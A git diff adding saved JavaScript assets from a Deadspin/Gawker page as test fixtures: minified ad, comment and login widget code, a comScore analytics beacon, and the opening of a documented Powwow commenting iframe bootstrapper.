+b.ui.HyperionAd.prototype.initialize.apply(this,arguments)},canLoadZones:function(){var c=b.ui.HyperionAd.prototype.canLoadZones.apply(this,arguments);if(this.cookieWasOk!==true){this.hideAd();this.setStatus("skipped");c=false}return c},checkCookie:function(){var d=jQuery.cookie("foreplay_count"),c=false;if(this.options.foreplay_frequency>0){if(d!==null){d=parseInt(d,10);if(d>=(this.options.foreplay_frequency-1)){c=true;d=0}else{d+=1}}else{d=(this.options.foreplay_frequency-1)}}jQuery.co [...]
+this.triggerTracker("takeover")},reset:function(b){this.marquee_running=false;window.adRobot.marquee_running=false;jQuery(".ad_marquee").hide();jQuery(".marqueed").removeClass("marqueed");jQuery(document).unbind("ad.marquee.finished",this.finishedevent);this.showIllustration()},triggerTracker:function(b){var d=jQuery(".ad_container."+b);if(d.length){var c=d.attr("id").replace("ad_container_","");window.adRobot.runAdFromQueue(c)}},imageLoaded:function(){jQuery("#marquee_image").fadeIn("fa [...]
+},this))}.bind(this)})}this.controls.indicator.hide();break;case"changemessagestatus":if(c.success===true){var b=jQuery("#message_"+c.messageId);jQuery(".icon_progress",b).show();Message.showMessage("Post deleted",jQuery(".messagetext",b).get(0),{stable:false,onComplete:function(){b.next("hr").remove();b.remove()}.bind(this,b)})}break}},handleAjaxFail:function(){var b="Error occurred, please try again later.";Message.showMessage(b,this.controls.message[0]);this.controls.indicator.hide()} [...]
+},handleClicks:function(c){var b=this.getParam("cn",c.target);if(b=="ssousermigrate_link"){c.stopPropagation();c.preventDefault();this.commondialogs.toggleDialog({which:"ssousermigrate"})}},authEventHandler:function(d){a(".sandboxMsg").hide();if(d.name=="user.auth.failure"){a(".sandboxMsg.sandboxLoginLabel").show()}else{if(d.name=="user.auth.success"){var c=false;if(this.auth.user.aka!==undefined&&this.auth.user.aka!==null&&this.auth.user.aka.length>0){for(var b=0;b<this.auth.user.aka.le [...]
+}},this));jQuery(window).bind(this.options.catch_events.join(" "),jQuery.proxy(function(b){if(this.active){this.getChartbeatData()}},this));this.debug=false;this.first=true;this.notificationSent=new Array();this.getLatestPost()},startNotifier:function(){this.getLatestPost();return"post notifier started"},getLatestPost:function(){if(typeof spongelatestpost!=="undefined"){return false}var a="http://"+this.options.sponge_host+"/api/"+this.options.sponge_api_version+"/getLatestPost/?siteId=" [...]
+}}},getStats:function(h,a,j){var e=[],b=5,k,d,m,f,c,g;if(this.options.stats_enabled!==true){return false}if(h.length===0){return false}g=this.options.sponge_protocol+"://"+this.options.sponge_host+"/api/"+this.options.sponge_api_version+"/getStats/";for(f=0,c=h.length;f<c;f++){k=Math.floor(f/b);if(e[k]===undefined){e[k]={params:{url:[],source:["views","comments"]}}}e[k].params.url.push(h[f])}for(f=0,c=e.length;f<c;f++){d=e[f].params;m="spcb_"+jQuery().crypt({method:"md5",source:"_"+d.url [...]
+this.params.page=0;this.loadThreadList();j.stopPropagation();j.preventDefault();break;case"showall":this.showSpinner();this.params.mode="all";this.params.append=false;this.loadThreadList();j.stopPropagation();j.preventDefault();break;case"nextpage":this.params.page++;this.params.append=true;this.loadThreadList();j.stopPropagation();j.preventDefault();break;case"newdiscussion":this.raiseEvent("commentform.open",{clear:true,after:jQuery(".input_box_place")});j.stopPropagation();j.preventDe [...]
+jQuery(document).bind("keyup",this.keyupHandler.bind(this))},keyupHandler:function(b){},unregisterDOMHandlers:function(){this.tearDownEventHandler(this.element,"click",this.handleClick.bind(this));jQuery(document).unbind("keyup",this.keyupHandler.bind(this))},refreshWidget:function(){this.setControls();this.traverse();this.toggleEditIcons()},parseUserSettings:function(){this.params.repliesmode="hide";if(this.auth.authenticated){this.params.mode=(this.params.mode!="permalink")?"all":"perm [...]
+}else{Message.showMessage(c.message,b[0],{stable:false})}break;case"changecommentstatus":if(c.success===true){d={comment_id:c.commentId};if(c.publishStatus=="DELETED"){this.raiseEvent("threadadmin.commentdeleted",d)}}else{Message.showMessage("Comment status setting failed, please try again later",b[0],{stable:false})}break;case"approveuser":if(c.success===true){d={comment_id:c.commentId,commenter_id:c.commenterId,action:"approve"};this.raiseEvent("threadadmin.userstatusset",d)}else{Messa [...]
+this.controls.uw_moveto.unbind("change");this.controls.uw_state.val("");this.controls.uw_moveto.val("");this.controls.uw_moveto_other.val("").hide()}else{this.element.find(".cid_"+b.comment_id).append(this.controls.warndialog.show());this.controls.uw_moveto.bind("change",function(){if(this.controls.uw_moveto.val()=="other"){this.controls.uw_moveto_other.show()}else{this.controls.uw_moveto_other.hide()}}.bind(this))}},submitWarning:function(e){var b=this.controls.uw_moveto.val();if(b=="ot [...]
+this.controls.user_menu.hide();if(this.controls.loginmessage!==undefined){this.controls.loginmessage.html("")}var public_profile=this.auth.user?"/people/"+this.auth.user.username:false;var s=document.createElement("script");s.type="text/javascript";s.src="/sso/logout_request";s.async=true;var obj=this;globalLogoutFunc=function(){obj.auth.getUserState();if(window.Powwow!==undefined){Powwow.loadUser()}if(window.location.pathname.indexOf("/me/")==0||window.location.pathname=="/me"){if(publi [...]
+}else{if(!data.valid){this.showMessage("oauthScreenName","Invalid")}else{this.showMessage("oauthScreenName","NotSaved")}}break;case"attach_existing":if(data.success){this.commondialogs.toggleDialog({which:"converted"});if(window.Powwow!==undefined){Powwow.loadUser()}this.auth.getUserState()}else{this.showMessage("oauthClaim","NotSaved")}break;case"kinja_login":if(data.success){this.commondialogs.toggleDialog({which:"oauthconvert"})}else{this.showMessage("kinjaLogin","Fail")}break;case"re [...]
+}function focusCaptchaField(tries){var el=document.getElementById("recaptcha_response_field");if(el){el.focus()}else{if(tries<50){setTimeout(function(){focusCaptchaField(tries+1)},700)}}}focusCaptchaField(0)},submitCaptcha:function(){this.captchaCallback(Recaptcha.get_challenge(),Recaptcha.get_response())},showClaimDialog:function(){var screenName=$("#oauthScreenName").val();$("#oauthClaimScreenNameData").val(screenName);$("#oauthClaimScreenName").html(screenName);this.commondialogs.togg [...]
+provider=provider.substr(0,1).toUpperCase()+provider.substr(1)}$("#convertedProviderName").html(provider);break}},outsideEventHandler:function(e){switch(e.name){case"presence.requiresequence.guest":this.toggleUserInitDialog(e);break}},authEventHandler:function(e){this.authEventObject=e;var is_init=this.inState("init");var max_name_length=22;var ssoFailure=function(obj){obj.controls.profile_panel.hide();obj.controls.login_panel.show();obj.mystate="loggedout:no_dialog";if(obj.options.login [...]
+window.adRobot.runAdBySelector(".ad_300x250.inpost .ad_container");window.adRobot.runAdBySelector(".ad_300x600 .ad_container");if(window.navigator.userAgent.match(/iPad/i)===null){jQuery(b).hover(function(){jQuery(".wrap").css({overflow:"visible"})},function(){jQuery(".wrap").css({overflow:"auto"})})}}},hide:{right_on:function(b){jQuery("#tomorrowsnews").show();window.adRobot.runAdBySelector(".ad_300x250.inpost .ad_container");window.adRobot.runAdBySelector(".ad_300x600 .ad_container")}} [...]
+d.push("op=changepoststatus");d.push("v2=true");d.push("id="+this.getParam("postId",this.controls.draft_link));d.push("publishStatus=DRAFT");d.push("realm=");this.xhr.send("/index.php",d.join("&"))}break;case"starinvite_link":this.controls.starinvite_postid.val(this.getParam("postId",c.target));case"starinvite_cancel":if(this.auth.hasLevel("commentadmins")||this.auth.hasLevel("commenters")){if(this.controls.starinvite_copy){this.controls.starinvite_copy.html("To create invites, paste in [...]
+this.controls.tagheader_submit[0].disabled=true;this.controls.tagheader_cancel[0].disabled=true;break}},enableInputs:function(b){switch(b){case"starinvite":this.controls.starinvite_email[0].disabled=false;this.controls.starinvite_submit[0].disabled=false;this.controls.starinvite_cancel[0].disabled=false;break;case"tagheader":this.controls.tagheader_entry[0].disabled=false;this.controls.tagheader_submit[0].disabled=false;this.controls.tagheader_cancel[0].disabled=false;break}}});a.extend( [...]
+}var c=g+((b?1:-1)*e);if(c<0){c=0}if(c>j-e+7){c=j-e+7}var f=-1*c+"px";jQuery("#thumbList").css("left",f);this.disableButtons(c,e)}},disableButtons:function(e,c){var d=jQuery("#thumbPagerPrev");var b=jQuery("#thumbPagerNext");if(e==0){d.addClass("inactive")}else{if(d.hasClass("inactive")){d.removeClass("inactive")}}if(c<e){b.addClass("inactive")}else{if(b.hasClass("inactive")){b.removeClass("inactive")}}}});a.extend(a.ui.GalleryWidget,{version:"1.0",defaults:{controlClass:"galcn",external [...]
+if(typeof d!="undefined"){b="&tagName="+d}else{b=""}a("#rightcontainer .wrap").addClass("loading");a(e.target).html("Loading…");jQuery.get("/index.php?op=ajaxlight_rightbar&direction="+e.direction+"&refId="+c+b,jQuery.proxy(function(f){this.insertContent(f,e.direction)},this))},insertContent:function(d,e){var c,b;if(e=="prev"){c=".latestpost";b="#load_previous";jQuery("#post_list").prepend(d.content)}else{c=".oldestpost";b="#load_more";jQuery("#post_list").append(d.content)}a("#ri [...]
+}h.push(g.views.totalViews+" pageviews, "+g.views.totalUniqueViews+" visitors");d.data("views",g.views.totalViews)}else{d.find(".views").html("");d.find(".uniques").html("");f=false}if(g.comments!==undefined&&g.comments.ready==true){d.find(".comments").html(gawker_add_commas(g.comments.numComments));if(g.comments.numComments>this.spongestats.options.comments_limit){d.find(".comments").addClass("highlight")}h.push(g.comments.numComments+" comments");d.data("comments",g.comments.numComment [...]
+}}switch(l.length){case 0:this.powwow_addNotification(j,0);return;case 1:l=l[0];break;case 2:l=l[0]+" and "+l[1];break;case 3:l=l[0]+", "+l[1]+" and "+l[2];break;default:l=l[0]+", "+l[1]+", "+l[2]+" and more";break}var g=(h===1)?"a new reply":h+" new replies";this.powwow_addNotification("You have "+g+" from "+l+". "+j,k[0].issued)}).bind(this);if(c.meta!==undefined&&c.meta.success===true){switch(c.meta.method.toLowerCase()){case"notification.get":this.hasMoreNotifications=(c.data.paging. [...]
+if(c.items===undefined){c.items=[]}this.notifications=c.items;if(c.items.length>0){var b=jQuery("#userNotificationContainer");b.html(this.createNotices(c.items,5));var d=this;jQuery("#userMenu div.morelink, #userMenu div.morelink a").click(function(f){d.moreClickHandler(f)});this.clearOnHide=false;jQuery("#profileNotificationCounter").html(c.items.length).show();jQuery("#clearNotifications").show()}else{jQuery("#clearNotifications").hide()}},showNotificationList:function(){var b=jQuery(" [...]
+}var D=B.width();var w=B.height();var y=B.hasClass("wide")?"":"left";if(B.hasClass("right")){y="right"}var F=B.attr("style");var E="";if(F!==undefined){var C=F.match(/top:\s*([\-0-9]+)/);if(C!==null){E+="top: "+C[1]+"px;"}C=F.match(/left\:\s*([\-0-9]+)/);if(C!==null){E+="left: "+C[1]+"px;"}C=F.match(/display\:\s*([^ ]+)/);if(C!==null){E+="display: "+C[1]+"px;"}}y+=B.hasClass("wide")?"":" editorial";if(B.css("display").toLowerCase()!=="none"&&!B.hasClass("splashimg")&&!B.parents("a").size [...]
+}else{jQuery(".clipid_"+b.objectId).removeClass("clip-toggle-on").addClass("clip-toggle-off").attr({title:"Clip this article"});jQuery("#event_"+b.objectId).fadeOut()}},handleAjaxFail:function(){jQuery(".clip-toggle-progress").removeClass("clip-toggle-progress")},togglePostClip:function(b){var c={op:"saveusertag",objectType:"POST",objectId:this.getParam("clipid",b)};if(b.hasClass("clip-toggle-on")){c.unTagName="favorite"}else{c.tagName="favorite"}if(this.controls.postcliptoggle){this.con [...]
+this.editreminder_validator=new Validator(jQuery.extend({},{scope:this.controls.editreminder_form}));this.registerEventHandler(this.controls.editreminder_form,"keyup",this.handleKeyUp.bind(this));this.registerEventHandler(this.controls.editreminder_form,"submit",this.handleEditReminderSubmit.bind(this))}if(this.controls.changepassword_form){panels.changepassword={el:this.controls.changepassword_dialog,focus:this.controls.changepassword_password};this.changepassword_validator=new Validato [...]
+this.dialogHandler=-1}},showSsoMigratedDialog:function(provider){jQuery("#sso-provider-name").html(provider);this.commondialogs.toggleDialog({which:"ssousermigratesuccess"})},authEventHandler:function(ev){var is_init=this.inState("init");var max_name_length=22;var main_profile_controls=jQuery(".mainProfileControls");main_profile_controls.hide();switch(ev.name){case"user.auth.success":if(this.controls.profile_link){var profileLabel=this.auth.user.smartName;if(this.auth.user.smartName.leng [...]
+jQuery(".validationmessage",this.controls.changepassword_dialog).hide();this.handleNoAsciiMessage("#noAsciiNotifyChangePassword")},resetResetLoginDialog:function(e){this.controls.username.val("");this.controls.password.val("");this.controls.loginmessage.html("")},resetResetPwDialog:function(e){},handleNoAsciiMessage:function(id){if(this.auth!==undefined&&this.auth.showNonAsciiNotification!==undefined&&this.auth.showNonAsciiNotification===true){jQuery(id).show();this.xhr.send("/index.php? [...]
+this.controls.profileedit_dialog.find(".feature_newcomments_olduser").hide()}else{if(this.auth.authenticated&&(typeof(this.auth.user.oldUsername)=="undefined"||this.auth.user.oldUsername==null)){this.controls.profileedit_newUsername[0].disabled=false;this.controls.profileedit_newUsername.parent().show();this.controls.profileedit_newUsername.val(this.auth.user.username);this.controls.profileedit_newUsername_change_warn.hide();this.controls.profileedit_newUsername.hide();this.controls.prof [...]
+}}},handleResetPasswordSubmit:function(e){e.stopPropagation();e.preventDefault();this.resetpw_validator.hideErrors();if(this.resetpw_validator.validate()){this.mystate="loggedout:resetpw_dialog_active:request_sent";this.xhr.send(this.options.resetpw_action_url,this.controls.resetpw_form.serialize());this.disableInputs("resetpw");jQuery(this.controls.resetpw_indicator).spin("small")}else{if(this.options.show_validation_errors){this.resetpw_validator.showErrors()}}},handleRegisterSubmit:fu [...]
+this.disableInputs("editreminder")}else{if(this.options.show_validation_errors){this.editreminder_validator.showErrors()}}},handleChangepasswordSubmit:function(e){e.stopPropagation();e.preventDefault();this.changepassword_validator.hideErrors();if(this.changepassword_validator.validate()){this.mystate="loggedin:changepassword_dialog_active:request_sent";this.xhr.send(this.options.setprofile_action_url,this.controls.changepassword_form.serialize());this.disableInputs("changepassword")}els [...]
+this.resetWidget({except:"login_form"});this.syncEffect({el:this,fn:"resetWidget",params:{only:"login_form"}});this.raiseEvent("user.auth.success",data);this.auth.resetRevision()}else{if(this.controls.login_indicator){this.controls.login_indicator.hide()}if(data.code&&data.code=="ACCOUNT_LINKED"){this.feature.on(this.feature.SSOLOGIN);this.commondialogs.toggleDialog({which:"ssologin"});jQuery("div.modal.modalpopup.ssologin.presence_control.cn_ssologin_dialog").find("div.account_linked"). [...]
+this.auth.user.facebookurl=((data.user.facebookurl!==undefined)?data.user.facebookurl:"");this.auth.user.isFacebookFanPage=((data.user.isFacebookFanPage!==undefined)?data.user.isFacebookFanPage:"");this.auth.user.googleplusurl=((data.user.googleplusurl!==undefined)?data.user.googleplusurl:"");this.commondialogs.toggleDialog({which:(this.inState("loggedin:profileedit_dialog_active:request_sent")?"profileedit":"editreminder")});this.auth.resetRevision()}else{Message.showMessage(data.messag [...]
+}this.fireEvent("onRegisterRequestFail",this);this.mystate="loggedout:register_dialog_active";this.enableInputs("register")}else{if(this.inState("loggedout:emailreminder_dialog_active:request_sent")){if(this.controls.emailreminder_indicator){this.controls.emailreminder_indicator.hide()}this.fireEvent("onRegisterRequestFail",this);this.mystate="loggedout:emailreminder_dialog_active";this.enableInputs("emailreminder")}}}}}},disableInputs:function(which){switch(which){case"login":this.contr [...]
+}if(this.controls.profileedit_isFacebookFanPage&&this.controls.profileedit_isFacebookFanPage[0]){this.controls.profileedit_isFacebookFanPage[0].disabled=false}if(this.controls.profileedit_googleplusurl[0]){this.controls.profileedit_googleplusurl[0].disabled=false}if(this.controls.profileedit_submit[0]){this.controls.profileedit_submit[0].disabled=false}if(this.controls.profileedit_cancel[0]){this.controls.profileedit_cancel[0].disabled=false}break;case"changepassword":this.controls.chang [...]
+this.controls.profileedit_contactemail.val("");this.controls.profileedit_contactname[0].disabled=true;this.controls.profileedit_contactname_panel.hide();this.controls.profileedit_contactemail[0].disabled=true;this.controls.profileedit_contactemail_panel.hide()}this.controls.profileedit_twitterusername.val(this.auth.user.twitterUsername?this.auth.user.twitterUsername:"");this.controls.profileedit_facebookurl.val(this.auth.user.facebookUrl?this.auth.user.facebookUrl:"");this.controls.profi [...]
+},onProfileeditRequestFail:function(wg){Message.showMessage("Profile save failed.",wg.controls.profileedit_submit[0],{nextMessage:"Save profile"})},onProfileeditSuccess:function(wg){Message.showMessage("Done",wg.controls.profileedit_submit[0],{nextMessage:"Save profile"})},onProfileeditFailure:function(wg){Message.showMessage("Profile save failed.",wg.controls.profileedit_submit[0],{nextMessage:"Save profile"})},onChangepasswordRequestSent:function(wg){wg.controls.changepassword_submit[0 [...]
+e.options[e.options.length]=c}this.commondialogs.toggleDialog({which:"quickpost"})},quickpostSubmit:function(){var d=this.controls.quickpostSiteId[0];var b=d.options[d.selectedIndex].text;if(jQuery.inArray(b,["deadspin","gizmodo","io9","jalopnik","jezebel","kotaku","lifehacker","sploid"])==-1){b="gawker"}var c=this.controls.quickpostForm[0];c.action="https://publish."+b+".com/ged/index.php?op=selcont";this.commondialogs.toggleDialog({which:"quickpost"});c.submit()},loadedEventHandler:fun [...]
+var d=false;if(this.controls.roundup_dialog){c.roundup={el:this.controls.roundup_dialog,focus:this.controls.roundup_snippet};this.registerEventHandler(this.controls.roundup_form,"keyup",this.handleKeyUp.bind(this));this.registerEventHandler(this.controls.roundup_form,"submit",function(){return false});d=true}if(d){var b={overlay:this.controls.overlay,panels:c,group:this.options.dialoggroup?this.options.dialoggroup:false};this.commondialogs.initDialogs(b)}this.bindDOMHandlers();this.subsc [...]
+var a=0;b.widget.resetElements();b.widget.setControls();b.widget.tearDownEventHandler(b.widget.element,"click",b.widget.handleClick.bind(b.widget));b.widget.registerEventHandler(b.widget.element,"click",b.widget.handleClick.bind(b.widget));b.widget.controls.title.val(d);b.widget.controls.post_title.text(d);b.widget.controls.uri.val(window.location.href);var c=this;jQuery("body").live("inviteRequest",function(j,k,f,h){var g=f+"?post="+k;b.widget.controls.title.val(h||d);b.widget.controls. [...]
+if(true==d.success){jQuery("#author_message_sent").show();setTimeout(function(){a.widget.commondialogs.toggleDialog({which:"authoremail"});jQuery("#author_message_sent").hide()},3000)}else{jQuery("#author_message_failed").show()}})}else{if(a.widget.options.show_validation_errors){jQuery("#author_message_sent").hide();jQuery("#author_message_failed").hide();a.widget.validator.showErrors()}}break}}}},".surveyform":{eventHandlerBuilder:function(a){return{onInit:function(b){},onHide:function [...]
+jQuery().ready(function(){jQuery("#debug_server_info").html(window.ganjaHost)});this.xhr=new XHR({klass:"splashpost",success:this.handleAjaxSuccess.bind(this)});if(this.isFrontpage()){this.loadFrontpage()}}},handleAjaxSuccess:function(b){switch(b.action){case"classic_frontpage":jQuery("#post_date_views span").html("BLOG VIEW");setBodyPageType("classic_frontpage");break;case null:b.action="splash_post";b.sucess=true;break}this.raiseEvent("navigation.loaded",{data:b});jQuery("body").remove [...]
+}}}},addEyeDropdownClick:function(){var b=jQuery("#rightbar_pin_container");if(jQuery("ul:visible",b).length===0){jQuery("ul",b).show();jQuery("#rightbar_pin",b).bind("clickoutside",function(){jQuery("#rightbar_pin_container ul").hide();jQuery("#rightbar_pin").unbind("clickoutside")})}else{jQuery("ul",b).hide()}}});a.extend(a.ui.ViewSelectorWidget,{version:"1.0",defaults:{controlClass:"viewSelector",rightbar:"#rightcontainer .wrap",rightbarContent:"#rightcontainer .innerWrap",rightbarHea [...]
diff --git a/src/test/resources/s/deadspin_files/beacon.js b/src/test/resources/s/deadspin_files/beacon.js
new file mode 100644
index 0000000..e7ff1fc
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/beacon.js
@@ -0,0 +1,7 @@
+function udm_(a,b){var c="comScore=",d=document,e=d.cookie,f="",g="indexOf",h="substring",i="length",j=2048,k,l="&ns_",m="&",n,o,p,q,r=window,s=r.encodeURIComponent||escape;if(e[g](c)+1)for(p=0,o=e.split(";"),q=o[i];p<q;p++)n=o[p][g](c),n+1&&(f=m+unescape(o[p][h](n+c[i])));a+=l+"_t="+ +(new Date)+l+"c="+(d.characterSet||d.defaultCharset||"")+"&c8="+s(d.title)+f+"&c7="+s(d.URL)+"&c9="+s(d.referrer),a[i]>j&&a[g](m)>0&&(k=a[h](0,j-8).lastIndexOf(m),a=(a[h](0,k)+l+"cut="+s(a[h](k+1)))[h](0,j [...]
+
+
+
+
+
+
diff --git a/src/test/resources/s/deadspin_files/bootstrap-ganja.js b/src/test/resources/s/deadspin_files/bootstrap-ganja.js
new file mode 100644
index 0000000..88b9e5b
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/bootstrap-ganja.js
@@ -0,0 +1,788 @@
+/**
+ * @fileOverview Powwow commenting bootstrapper code for Ganja sites
+ * @author Bodnar Istvan <istvan at gawker.com>
+ * @version 0.1
+ */
+
+/**
+ * Powwow in global namespace
+ * @class Powwow
+ * @namespace Powwow
+ * @public
+ */
+var Powwow = {};
+
+(function ($) {
+ /**
+ * Comment data object
+ * Holds comment url, selected ID, etc
+ * @private
+ */
+ var comment_data = {};
+
+ /**
+ * The Powwow iframe loader object
+ * @type jQuery nodeset
+ * @private
+ */
+ var $iframe = null;
+
+ /**
+ * Is Powwow loaded?
+ * @type Boolean
+ * @private
+ */
+ var is_loaded = false;
+
+ /**
+ * Deferred iframe messages
+ * @type Array
+ * @private
+ */
+ var deferred_messages = [];
+
+ /**
+ * Comment list type
+ * @type String
+ * @private
+ */
+ var type = null;
+
+ /**
+ * Iframe DOM id
+ * @type String
+ * @private
+ */
+ var iframe_id = 'pw-comments';
+
+ /**
+ * Hidden mode
+ * @type Boolean
+ * @private
+ */
+ var hidden_mode = false;
+
+ /**
+ * Set debug mode
+ * @type Boolean
+ * @private
+ */
+ var debugAssets = false;
+
+ /**
+ * Set mobile mode
+ * @type Boolean
+ * @private
+ */
+ var mobile = false;
+
+ /**
+ * Comment loader spinner element
+ * @type jQuery
+ * @private
+ */
+ var $spinner = null;
+
+ // use native json or jquery.json
+ var stringify = window.JSON ? JSON.stringify : $.toJSON;
+ var parse = window.JSON ? JSON.parse : $.evalJSON;
+
+ /**
+ * Init powwow comment iframe
+ * @public
+ */
+ Powwow.init = function (options) {
+ // reset powwow
+ Powwow.reset();
+ // set comment type
+ type = options.type || 'featured';
+ // iframe id
+ iframe_id = options.iframe_id || 'pw-comments';
+ // options.config
+ options.config = options.config || {};
+ // set debug mode
+ debugAssets = options.config['debug-assets'] === 'true';
+ // set mobile mode
+ mobile = options.config.mobile === true;
+ // hidden mode
+ hidden_mode = options.hidden || false;
+ // overwrite config options
+ Powwow.setConfig(options.config || {});
+ // load external css
+ Powwow.loadCss(options.css || undefined);
+ // start progress indicator spinner
+ this.spinner = new Image();
+ this.spinner.src = "http://ganja.gawkerassets.com/assets/base.v10/img/spinner_bar.gif";
+ this.spinner.className = "spinner";
+ if (!hidden_mode) {
+ $('.comment-loader').html(this.spinner);
+ }
+ // load comments
+ switch (type) {
+ case 'forum':
+ Powwow.loadForum(options);
+ break;
+ case 'profile':
+ Powwow.loadProfile(options);
+ break;
+ case 'domaincomments':
+ Powwow.loadDomainComments(options);
+ break;
+ case 'interview':
+ Powwow.loadInterview(options);
+ break;
+ case 'admin':
+ Powwow.loadAdmin(options);
+ break;
+ default:
+ if (!mobile) {
+ // on desktop site use featured node browser
+ Powwow.loadFeaturedNode(options);
+ } else {
+ // on mobile use the old featured panels
+ Powwow.loadFeatured(options);
+ }
+ break;
+ }
+
+ // throttle scrolling events
+ if ($.debounce !== undefined) {
+ $(window).scroll($.debounce(100, Powwow.onScroll));
+ }
+
+ };
+
+ Powwow.onScroll = function() {
+ sendMessage({
+ type: 'scroll',
+ scrollTop: $(window).scrollTop() - getIframe().offset().top,
+ scrollBottom: $(window).scrollTop() + $(window).height()
+ - getIframe().offset().top - getIframe().height()
+ });
+ };
+
+ /**
+ * Powwow.loadFeatured loads featured comments for the given url or actual url
+ * @param {Object} [params] parameters passed to api request
+ * @param {String} [params.url=window.location.href] the URL passed to Powwow to load comments
+ * @param {Number} [params.comment_id] the selected comment id to show
+ * @public
+ */
+ Powwow.loadFeatured = function (options) {
+ // comment content url
+ var params = options.params;
+ var config = options.config;
+ comment_data.url = params.url || window.location.href;
+ // comment id
+ comment_data.id = parseInt(params.comment_id, 10) || null;
+ // load forum comments
+ comment_data.mode = 'featured';
+ comment_data.domain = config.domain;
+ comment_data.host = config.host;
+ if (typeof params.author !== 'undefined') {
+ comment_data.author = params.author;
+ }
+
+ if (typeof params.inviteToken !== 'undefined') {
+ comment_data.inviteToken = params.inviteToken;
+ }
+
+ // powwow iframe src
+ loadIframe();
+ };
+
+ /**
+ * Powwow.loadFeaturedNode loads featured node for the given url or actual url
+ * @param {Object} [params] parameters passed to api request
+ * @param {String} [params.url=window.location.href] the URL passed to Powwow to load comments
+ * @param {Number} [params.comment_id] the selected comment id to show
+ * @public
+ */
+ Powwow.loadFeaturedNode = function (options) {
+ // comment content url
+ var params = options.params;
+ var config = options.config;
+ comment_data.url = params.url || window.location.href;
+ // comment id
+ comment_data.id = parseInt(params.comment_id, 10) || null;
+ // load forum comments
+ comment_data.mode = 'featurednode';
+ comment_data.domain = config.domain;
+ comment_data.host = config.host;
+ if (typeof params.author !== 'undefined') {
+ comment_data.author = params.author;
+ }
+
+ if (typeof params.inviteToken !== 'undefined') {
+ comment_data.inviteToken = params.inviteToken;
+ }
+
+ // powwow iframe src
+ loadIframe();
+ };
+
+ /**
+ * Powwow.loadInterview loads interview app for the given url or actual url
+ * @param {Object} [params] parameters passed to api request
+ * @param {String} [params.url=window.location.href] the URL passed to Powwow to load comments
+ * @public
+ */
+ Powwow.loadInterview = function (options) {
+ // comment content url
+ var params = options.params;
+ var config = options.config;
+ comment_data.url = params.url || window.location.href;
+ // comment id
+ comment_data.id = parseInt(params.comment_id, 10) || null;
+ comment_data.closed = params.closed;
+ // load forum comments
+ comment_data.mode = 'interview';
+ comment_data.domain = config.domain;
+ comment_data.host = config.host;
+
+ // powwow iframe src
+ loadIframe();
+ };
+
+ /**
+ * Powwow.loadAdmin loads admin app for the given url or actual url
+ * @param {Object} [params] parameters passed to api request
+ * @param {String} [params.url=window.location.href] the URL passed to Powwow to load comments
+ * @public
+ */
+ Powwow.loadAdmin = function (options) {
+ // comment content url
+ var params = options.params;
+ var config = options.config;
+ comment_data.url = params.url || null; //window.location.href;
+ // comment id
+ comment_data.id = parseInt(params.comment_id, 10) || null;
+ comment_data.closed = params.closed;
+ // load forum comments
+ comment_data.mode = 'admin';
+ comment_data.domain = config.domain;
+ comment_data.host = config.host;
+
+ // powwow iframe src
+ loadIframe();
+ };
+
+ /**
+ * Powwow.loadForum loads comments for the selected forum tag
+ * @param {Object} [params] parameters passed to api request
+ * @param {String} [params.url] the forum page url passed to Powwow to load comments
+ * @public
+ */
+ Powwow.loadForum = function (options) {
+ // forum url
+ var params = options.params;
+ var config = options.config;
+ comment_data.url = params.url || window.location.href;
+ // comment id
+ comment_data.id = parseInt(params.comment_id, 10) || null;
+ // load forum comments
+ comment_data.mode = 'forum';
+ comment_data.domain = config.domain;
+ comment_data.host = config.host;
+
+ // powwow iframe src
+ loadIframe();
+ };
+
+ /**
+ * Powwow.loadDomainComments loads comments for the selected domain (/comments page)
+ * @param {Object} [params] parameters passed to api request
+ * @param {String} [params.url] the url of the site, domain id will be calculated on serverside
+ * @public
+ */
+ Powwow.loadDomainComments = function (options) {
+ var params = options.params;
+ var config = options.config;
+ // forum url
+ comment_data.url = params.url || window.location.href;
+ // load domain comments
+ comment_data.mode = 'domaincomments';
+ comment_data.domain = config.domain;
+ comment_data.host = config.host;
+
+ // powwow iframe src
+ loadIframe();
+ };
+
+ /**
+ * Powwow.loadProfile loads profile panels for selected user
+ * @param {Object} [params] parameters passed to api request
+ * @param {String} [params.url] the forum page url passed to Powwow to load comments
+ * @public
+ */
+ Powwow.loadProfile = function(options) {
+ var config = options.config;
+ comment_data.url = window.location.href;
+ comment_data.domain = config.domain;
+ comment_data.host = config.host;
+ comment_data.profile_type = (window.location.pathname.indexOf('/me') === 0 ? 'private' : 'public');
+ comment_data.mode = 'profile';
+ loadIframe();
+ };
+
+ /**
+ * Powwow.hide hides comment iframe by setting the src to 'about:blank' and setting
+ * the height to 0
+ * @public
+ */
+ Powwow.hide = function () {
+ getIframe().css({height: 0}).attr({src: 'about:blank'});
+ };
+
+ /**
+ * Powwow.setConfig overwrites api configuration options in Powwow
+ * @param {Object} config Configuration option overrides
+ * @public
+ */
+ Powwow.setConfig = function (config) {
+ sendMessage({type: 'setConfig', config: config});
+ };
+
+ /**
+ * Powwow.loadCss loads a CSS file inside the Powwow iframe
+ * @param {Array} css_urls array of CSS file URLs to load in the Poowow iframe
+ * @public
+ */
+ Powwow.loadCss = function (css_urls) {
+ if (css_urls !== undefined) {
+ if (typeof(css_urls) !== "object") {
+ css_urls = [css_urls];
+ }
+ jQuery.each(css_urls, function (index, css_url) {
+ sendMessage({type: 'cssLoad', url: css_url});
+ });
+ }
+ };
+
+ /**
+ * Powwow.loadUser loads user state from SSO
+ * @public
+ */
+ Powwow.loadUser = function () {
+ sendMessage({type: 'loadUser'});
+ };
+
+ /**
+ * Powwow.loadRoot loads root object from powwow db
+ * @public
+ */
+ Powwow.loadRoot = function (data) {
+ sendMessage({type: 'loadRoot', data: data});
+ };
+
+ Powwow.appProxy = function (method, params) {
+ sendMessage({type: 'appProxy', data: { method: method, params: params || [] }});
+ };
+ /**
+ * Powwow.openCommentForm opens the commentform
+ * @public
+ */
+ Powwow.openCommentForm = function () {
+ sendMessage({type: 'openCommentForm'});
+ };
+
+ /**
+ * Powwow.getIframeOffset returns the left and top offset of the iframe
+ * @public
+ */
+ Powwow.getIframeOffset = function () {
+ return getIframe().offset();
+ };
+
+ /**
+ * Powwow.getCommentOffset returns the left and top offset of a specified comment inside the iframe
+ * @public
+ */
+ Powwow.getCommentOffset = function (comment_id, callback) {
+ if ($.isFunction(callback)) {
+ var callback_fn = 'powwow_getCommentOffset_' + Math.floor(Math.random() * 1000000000000);
+ window[callback_fn] = callback;
